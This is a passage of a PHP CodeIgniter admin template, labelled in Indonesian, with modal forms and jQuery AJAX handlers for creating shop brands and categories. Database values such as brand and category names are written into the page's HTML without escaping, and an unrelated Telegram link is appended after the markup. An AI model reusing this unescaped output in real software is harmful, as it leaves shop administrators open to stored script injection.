              <?php if (!empty($brands->image)) : ?>
                  &nbsp;&nbsp;
                  <img style="width:200px; height:auto;" src="<?= base_url() . 'uploads/brand/' . $brands->image; ?>"  alt="" />
                  <p>
                    <i class="fa fa fa-trash-o" aria-hidden="true"></i> 
                    <a href="<?= base_url() . 'admin/brands/delete_image/' . $brands->id_brands . '/banner'; ?>">
                      Hapus
                    </a>
                  </p>
                <?php endif; ?>  
              </p>
          </div><!-- end class="col-sm-3" -->

          <div class="col-sm-9">
            <p>
                <input type="file" name="userfile" size="20" class="btn btn-default btn-file form-control" />
              <?php
                  //get max image width and height from configuration table
                  $this->db->select('brand_image_width, brand_image_height')->from('configuration')->where('id_configuration', 1);
                  $image_dimension = $this->db->get()->row(); 
              ?>
              <span style="font-size:12px; font-style: italic;">
                Ukuran maks lebar 
                <?= $image_dimension->brand_image_width;?>
                  pixel. Tinggi 
                  <?= $image_dimension->brand_image_height;?>
                   pixel. Format jpg/jpeg/png/gif. Ukuran maks 500 KB.
              </span>
              <span style="color:#F7931E;">
                <?php echo form_error('userfile'); ?>
                
              </span>
              <?php echo $this->session->flashdata('banner_error'); //to display error message ?> 
            </p>
          </div><!-- end class="col-sm-9" -->
        </div> <!-- end row -->  

        <div class="row">
            <div class="col-sm-3">
                <p>URL Link Banner
                  <br>
                  Tulis url lengkap (contoh: https://wwww.yourstore.com/brand)
                </p>
            </div><!-- end class="col-sm-3" -->

            <div class="col-sm-9">
                <p>
                <?php
                $data = array(
                    'name'        => 'banner_link',
                    'value'       => '',
                    'class'       => 'form-control',
                    'required'       => 'required'
                    );
                echo form_input($data); ?>
                <?= form_error('banner_link'); ?>
                  
                </p>
            </div><!-- end class="col-sm-9" -->
        </div> <!-- end row -->  


        <div class="row">
            <div class="col-sm-3">
                <p>Urutan Tampilan (isi dengan angka)</p>
            </div><!-- end class="col-sm-3" -->

            <div class="col-sm-9">
                <p>
                <?php
                $data = array(
                    'name'        => 'priority',
                    'value'       => '',
                    'class'       => 'form-control',
                    'required'       => 'required'
                    );
                echo form_input($data); ?>
                <?= form_error('priority'); ?>
                  
                </p>
            </div><!-- end class="col-sm-9" -->
        </div> <!-- end row -->  

        <div class="row">
            <div class="col-sm-12">
                <p><strong>SEO (SEARCH ENGINE OPTIMIZATION)</strong></p>
            </div><!-- end class="col-sm-12" -->
        </div> <!-- end row -->  

        <div class="row">
          <div class="col-sm-3">
              <p>Deskripsi<br>
              (Muncul di konten)</p>
          </div><!-- end class="col-sm-3" --> 
          <div class="col-sm-9">
              
              <div class="tabbable">

                <ul class="nav nav-tabs">
                    <li class="active">
                      <a href="#description_id2" data-toggle="tab">
                        Indonesia
                      </a>
                    </li>
                    <li>
                      <a href="#description_en2" data-toggle="tab">
                        Inggris
                      </a>
                    </li>
                </ul>

                <div class="tab-content">
                  
                  <div class="tab-pane active" id="description_id2"> 
                      <!-- <?php   $data = array( 
                          'name'        => 'description_merk',
                          'id'        => 'description_merk',
                          'class'       => 'form-control',
                          'value'       => '', 
                          // 'required'       => 'required'   
                        );
                       ?> -->  
                      <p>
                        <!-- <?php echo form_textarea($data); ?>
                      <?php echo form_error('description_merk'); ?> -->
                        
                      </p>  
                  </div>

                  <div class="tab-pane" id="description_en2">
                    <!-- <?php   $data = array( 
                        'name'        => 'description_en_merk',
                        'id'        => 'description_en_merk',
                        'class'       => 'form-control', 
                        'value'       => '',
                        // 'required'       => 'required'   
                      );
                    ?> -->  
                    <p>
                      <!-- <?php echo form_textarea($data); ?>
                    <?php echo form_error('description_en_merk'); ?> -->
                      
                    </p>  
                 </div>

                </div><!-- end class tab-content-->  
              </div><!-- end tabbable -->

          </div><!-- end class="col-sm-9" -->
        </div> <!-- end row --> 

        <div class="row">
            <div class="col-sm-3">
              <p>Judul Browser</p>
            </div><!-- end class="col-sm-3" -->

             <div class="col-sm-9">
                <p>
                <?php
                $data = array(
                    'name'        => 'meta_title',
                    'value'       => '', 
                    'class'       => 'form-control',
                    'required'       => 'required'
                    );
                echo form_input($data); ?>
                <?= form_error('meta_title'); ?>
                  
                </p>
            </div><!-- end class="col-sm-9" -->
        </div> <!-- end row -->  

        <div class="row">
            <div class="col-sm-3">
                <p>Deskripsi Meta</p>
            </div><!-- end class="col-sm-3" -->

             <div class="col-sm-9"> 
                <p>
                <?php
                $data = array(
                    'name'        => 'meta_description',
                    'value'       => '', 
                    'class'       => 'form-control',
                    'required'       => 'required'
                    );
                echo form_input($data); ?>
                <?= form_error('meta_description'); ?>
                  
                </p>
            </div><!-- end class="col-sm-9" -->
        </div> <!-- end row -->  

        <div class="row">
            <div class="col-sm-3">
               
            </div><!-- end class="col-sm-3" -->

             <div class="col-sm-9"> 
                <br>
                <p>

                  <input type="hidden" name="this_case" value="addmerk_in_product">

                  <?= 
                    form_submit('submit', 
                    'Simpan', 
                    'class="btn btn-primary btn-success"'
                    ); ?>   
                 
                  
                </p>    
            </div><!-- end class="col-sm-9" -->
        </div> 
  
        <script>
          $(document).ready(function(){ 

            setTimeout(function(){
              $("div#modal_MerekBaru div#description_id2 p").html("<textarea class='form-control' required name='description_merk'></textarea>");
            
              $("div#modal_MerekBaru div#description_en2 p").html("<textarea class='form-control' required name='description_en_merk'></textarea>"); 
            },1000);



            $("div#modal_MerekBaru form#form_addmerk").off('submit');
            $("div#modal_MerekBaru form#form_addmerk").submit(function(ev){ 
              var formData = new FormData(this); 
              $.ajax
              ({
                url: '<?= base_url()."admin/brands/edit"; ?>',
                type: "POST",
                data:   formData, 
                mimeType: "multipart/form-data",
                cache: false,
                contentType: false,
                processData: false,
                success: function(rs)
                  {
                    rs = $.parseJSON(rs);

                    if(rs.sukses == 'sukses'){ 
                      $("div#modal_MerekBaru div.div_errors").html('<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Merek berhasil dibuat</p>'); 
                      var get_all_brands = rs.get_all_brands; 

                      $("div#modal_MerekBaru select#brand_id").html("<option value='' disabled selected>Pilih Merek...</option>");

                      $.each(get_all_brands,function(idx,key){
                        $("div#modal_MerekBaru select#brand_id").append("<option value='"+key.id_brands+"'>"+key.brand+"</option>");
                      });

                      // console.log(rs.config);
                      alert('Merek baru berhasil dibuat.');
                      $("div#modal_MerekBaru button.close").click();

                    }else{
                      $("div#modal_MerekBaru div.div_errors").html(rs.sukses); 
                    }
                  },
                error: function(data)
                  {
                      alert( 'Error.' );
                  }
              });
              ev.preventDefault();
            });
          });
        </script>
        <?= form_close(); ?>
        <!-- end form -->


      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>




<!-- moda Kategori baru -->
<div class="modal fade" id="modal_KategoriBaru" role="dialog">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title">Buat Kategori Baru</h4>
      </div>
      <div class="modal-body">

        <!-- start form -->
        <?php 
        $attributes = array('id' => 'form_addcategory');
         ?>
        <?= form_open_multipart(base_url().'admin/categories/edit',$attributes); ?>
        <div class="div_errors">
          
        </div>
        <div class="row">
          <div class="col-sm-3">
              <p>Aktif ?</p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
              <?php
                  $options = array( 
                      1  => 'Ya',
                      0    => 'Tidak'
                  );
                  echo form_dropdown('status', $options, '', 'class="form-control"');
              ?>   
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->   

      <div class="row">
          <div class="col-sm-3">
              <p>Nama Kategori Produk</p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
              
              <div class="tabbable">

                <ul class="nav nav-tabs">
                    <li class="active"><a href="#category_id" data-toggle="tab">Indonesia</a></li>
                    <li><a href="#category_en" data-toggle="tab">Inggris</a></li>
                </ul>

                <div class="tab-content">
                  
                   <div class="tab-pane active" id="category_id">
                      <p>
                      <?php
                      $data = array(
                          'name'        => 'category_name',
                          'value'       => '',
                          'class'       => 'form-control'
                      );
                      echo form_input($data); ?>
                      <?= form_error('category_name'); ?></p>
                   </div><!-- end  id="#description_id" -->

                    <div class="tab-pane" id="category_en">
                     <p>
                      <?php
                      $data = array(
                          'name'        => 'category_name_en',
                          'value'       => '',
                          'class'       => 'form-control'
                      );
                      echo form_input($data); ?>
                      <?= form_error('category_name_en'); ?></p>
                   </div><!-- end  id="#description_id" -->
                </div><!-- end class tab-content-->  
              </div><!-- end tabbable -->

          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  


<?php 
$categories = $this->category_m->get_new();   
$parent_categories = $this->category_m->get_parent_categories();

//get ordering number and display at add form
$this->db->select_max('priority')
->from('categories')->where('parent', NULL);

$current_priority = $this->db->get()->row()->priority;

if($current_priority == NULL) {
  $categories->priority = 1;  
} else {
  $categories->priority = $current_priority + 1;
}

 ?>
      <div class="row">
          <div class="col-sm-3">
              <p>Turunan (Sub) Dari</p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
             <select name="parent_id" class="form-control" id="chooseCategory">
              <!-- <option value="no-parent" selected="selected" >
                Tidak Ada
              </option> -->
                     
<option value="no-parent"  

<?php if ($categories->parent == NULL) : ?>
   selected="selected"
<?php endif; ?>

>Tidak Ada</option>
                      
<?php foreach($parent_categories as $parent) : ?> 

    <option value="<?= $parent->id_categories; ?>"

    <?php if ($categories->parent == $parent->id_categories): ?>
         selected="selected" 
    <?php endif ?> 
    
    ><?= ucfirst($parent->category); ?></option> 

    <?php
      $this->db->select('*')->from('categories')->where('parent', $parent->id_categories)->order_by('priority', 'ASC');
      $child = $this->db->get()->result();
    ?>

    <?php foreach ($child as $child_category) : ?>

      <option value="<?= $child_category->id_categories; ?>"

      <?php if ($categories->parent == $child_category->id_categories): ?>
           selected="selected" 
      <?php endif ?> 
      
      >- <?= ucfirst($child_category->category); ?></option> 
      
    <?php endforeach; ?> 

<?php endforeach; ?>      
                    
                    </select> 
                    <p><?= form_error('parent_id'); ?></p> 
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  

      <div class="row">
          <div class="col-sm-3">
              <p>Gambar Banner
               <?php if (!empty($categories->image)) : ?>
                  &nbsp;&nbsp;<img style="width:100px; height:auto;" src="<?= base_url() . 'uploads/category/' . $categories->image; ?>"  alt="" /><br>

                  <p><i class="fa fa fa-trash-o" aria-hidden="true"></i> <a href="<?= base_url() . 'admin/categories/delete_image/' . $categories->id_categories; ?>">Hapus</a></p>
                <?php endif; ?> 
              </p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
             <p><input type="file" name="userfile" size="20" class="form-control" /><br> 
              <?php
                  //get max image width and height from configuration table
                  $this->db->select('category_image_width, category_image_height')->from('configuration')->where('id_configuration', 1);
                  $image_dimension = $this->db->get()->row();
              ?>
              <span style="font-size:12px; font-style: italic;">Ukuran  maks lebar <?= $image_dimension->category_image_width;?> pixel, tinggi <?= $image_dimension->category_image_height;?> pixel. Format jpg/jpeg/png/gif.  Ukuran maks 500KB</span>
              <span style="color:#F7931E;"><?php echo form_error('userfile'); ?></span></p>
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  

      <div class="row">
          <div class="col-sm-3">
              <p>URL Link Banner<br>
                <span style="font-size: 12px">Tulis url lengkap (contoh: https://wwww.tokodaku.com/kategori)</span></p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
              <p><?php
              $data = array(
                  'name'        => 'banner_link',
                  'value'       => '',
                  'class'       => 'form-control',
               );
              echo form_input($data); ?></p>
              <p><?= form_error('banner_link'); ?></p>
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row --> 

      <div class="row">
          <div class="col-sm-3">
              <p>Urutan Tampilan (isi dengan angka)</p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
              <p><?php
              $data = array(
                  'name'        => 'priority',
                  'value'       => '',
                  'class'       => 'form-control',
                  'id'          => 'categoryOrdering'
               );
              echo form_input($data); ?></p>
              <p><?= form_error('priority'); ?></p>
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  

      <div class="row">
          <div class="col-sm-3">
              <p><strong>SEO (SEARCH ENGINE OPTIMIZATION)</strong></p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row --> 

      <div class="row">
          <div class="col-sm-3">
              <p>Judul Browser</p>
          </div><!-- end class="col-sm-3" --> 
          <div class="col-sm-9">
              <p><?php
              $data = array(
                  'name'        => 'meta_title', 
                  'value'       => '',
                  'class'       => 'form-control'
               );
              echo form_input($data); ?></p>
              <p><?= form_error('meta_title'); ?></p> 
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  

      <div class="row">
        <div class="col-sm-3">
            <p>Deskripsi<br>
            (Muncul di konten)</p>
        </div><!-- end class="col-sm-3" --> 
        <div class="col-sm-9">
            
            <div class="tabbable">

              <ul class="nav nav-tabs">
                  <li class="active"><a href="#description_id3" data-toggle="tab">Indonesia</a></li>
                  <li><a href="#description_en3" data-toggle="tab">Inggris</a></li>
              </ul>

              <div class="tab-content">
                
                 <div class="tab-pane active" id="description_id3">
                    
                    <!-- <?php   $data = array( 
                        'name'        => 'description_category',
                        'class'       => 'form-control',
                        'value'       => '',   
                      );
                     ?>  --> 
                    <p>
                      <!-- <?php echo form_textarea($data); ?>
                    <?php echo form_error('description_category'); ?>
                       -->
                    </p>  
                 </div>

                  <div class="tab-pane" id="description_en3">
                    <!-- <?php   $data = array( 
                        'name'        => 'description_en_category',
                        'class'       => 'form-control',
                        'value'       => '',   
                      );
                    ?> -->  
                    <p>
                      <!-- <?php echo form_textarea($data); ?>
                    <?php echo form_error('description_en_category'); ?> -->
                      
                    </p>  
                 </div>
              </div><!-- end class tab-content-->  
            </div><!-- end tabbable -->

        </div><!-- end class="col-sm-9" -->
      </div> <!-- end row --> 

      <div class="row">
          <div class="col-sm-3">
              <p>Deskripsi Meta</p>
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9">
              <p><?php
              $data = array(
                  'name'        => 'meta_description',
                  'value'       => '',
                  'class'       => 'form-control'
               );
              echo form_input($data); ?></p>
              <p><?= form_error('meta_description'); ?></p> 
          </div><!-- end class="col-sm-9" -->
      </div> <!-- end row -->  

      <div class="row">
          <div class="col-sm-3">
          </div><!-- end class="col-sm-3" -->
          <div class="col-sm-9"> 
            <br> 
                <p>
                  <input type="hidden" name="this_case" value="addcategory_in_product">
                  <?= form_submit('submit', 'Simpan', 'class="btn btn-primary btn-success"'); ?> 
                </p>    
          </div><!-- end class="col-sm-9" -->
      </div>  
  
        <script>
          $(document).ready(function(){ 

            setTimeout(function(){
              $("div#modal_KategoriBaru div#description_id3 p").html("<textarea class='form-control' required name='description_category'></textarea>");
            
              $("div#modal_KategoriBaru div#description_en3 p").html("<textarea class='form-control' required name='description_en_category'></textarea>"); 
            },1000);



            $("div#modal_KategoriBaru form#form_addcategory").off('submit');
            $("div#modal_KategoriBaru form#form_addcategory").submit(function(ev){ 
              var formData = new FormData(this); 

              $.ajax
              ({
                url: '<?= base_url()."admin/categories/edit"; ?>',
                type: "POST",
                data:   formData, 
                mimeType: "multipart/form-data",
                cache: false,
                contentType: false,
                processData: false,
                success: function(rs)
                  {
                    rs = $.parseJSON(rs);
                    // console.log(rs);
                    if(rs.result == 'sukses'){ 
                      $("div#modal_KategoriBaru div.div_errors").html('<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Kategori berhasil dibuat</p>'); 
                      var get_new_category_in_modal = rs.new_category_in_modal; 
                      var new_category = rs.new_category;

                      $("div#div_blok_category_product").html(new_category);

                      $("div#modal_KategoriBaru select#chooseCategory").html("<option value='no-parent' disabled selected>Tidak Ada</option>");

                      $("div#modal_KategoriBaru select#chooseCategory").append(get_new_category_in_modal);

                      // $.each(get_all_brands,function(idx,key){
                      //   $("div#modal_KategoriBaru select#brand_id").append("<option value='"+key.id_brands+"'>"+key.brand+"</option>");
                      // });

                      alert('Kategori baru berhasil dibuat.');
                      $("div#modal_KategoriBaru button.close").click();

                    }else{
                      $("div#modal_KategoriBaru div.div_errors").html(rs.result); 
                    }
                  },
                error: function(data)
                  {
                      alert( 'Error.' );
                  }
              });
              ev.preventDefault();
            });
          });
        </script>
        <?= form_close(); ?>
        <!-- end form -->


      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>

https://t.me/RX1948 - 2025